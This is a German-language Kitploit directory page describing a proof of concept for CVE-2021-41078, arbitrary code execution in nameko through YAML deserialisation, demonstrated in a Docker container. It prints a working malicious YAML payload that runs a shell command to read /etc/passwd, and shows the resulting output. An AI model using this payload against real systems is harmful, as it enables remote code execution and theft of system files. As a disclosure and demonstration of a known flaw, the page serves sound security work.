Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2021-41078 — Beliebige Codeausführung in nameko durch YAML-Deserialisierung | Kitploit
Tools/GitHubGitHub/s-index/cve-2021-41078
Payload-GenerierungSchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationFehlkonfiguration
GitHubs-index/cve-2021-41078

CVE-2021-41078

Beliebige Codeausführung in nameko durch YAML-Deserialisierung

Repository anzeigen
vor 3 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2021-41078

nameko – Beliebige Codeausführung durch YAML-Deserialisierung

NVD-Beschreibung

Nameko bis 2.13.0 kann dazu verleitet werden, beliebigen Code auszuführen, wenn die Konfigurationsdatei deserialisiert wird.

Demo

cve-2021-41078

Einrichtung

  1. Erstellen Sie ein Image aus einem Dockerfile
root@kitploit:~
docker build -t cve-2021-41078 .
  1. Führen Sie python main.py in einem neuen Container aus
root@kitploit:~
docker run -it --rm cve-2021-41078

Ausgabe von /etc/passwd

root@kitploit:~
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
-- snip --

output-image

PoC-Payload

malicious.yml

root@kitploit:~
!!python/object/new:type
args: ['z', !!python/tuple [], {'extend': !!python/name:exec }]
listitems: "__import__('os').system('cat /etc/passwd')"

Referenz

  • https://github.com/nameko/nameko/security/advisories/GHSA-6p52-jr3q-c94g
Tool herunterladen